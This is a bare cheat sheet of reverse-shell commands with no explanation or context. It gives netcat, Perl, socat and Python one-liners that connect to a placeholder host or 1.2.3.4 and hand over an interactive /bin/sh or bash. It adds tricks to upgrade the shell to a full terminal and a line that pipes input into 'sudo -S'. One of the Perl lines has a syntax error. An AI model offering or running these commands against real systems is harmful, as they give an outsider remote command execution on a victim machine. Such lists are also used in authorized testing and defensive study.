USING NETCAT:

SERVER/LISTEN:

netcat -lvp 9999

CLIENT:

netcat -e /bin/sh host.name 9999

perl -e 'use Socket;$i="host.name";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="host.name";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

NICER SHELL:

python -c 'import pty; pty.spawn("/bin/bash")'
( sleep 1; echo 'bla' ) | python -c "import pty; pty.spawn(['/usr/bin/sudo','-S','whoami']);"

USING SOCAT:

SERVER/LISTEN:

socat file:`tty`,raw,echo=0 tcp-listen:8888

CLIENT:

socat tcp-connect:host.name:8888 exec:'bash -li',pty,stderr,setsid,sigint,sane

CLIENT:

socat tcp:host.name:8888 exec:"bash -li",pty,stderr,setsid,sigint,sane

socat TCP-LISTEN:8888,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:1.2.3.4:8888

export STY=
stty rows 40 cols 130
stty rows 40 cols 230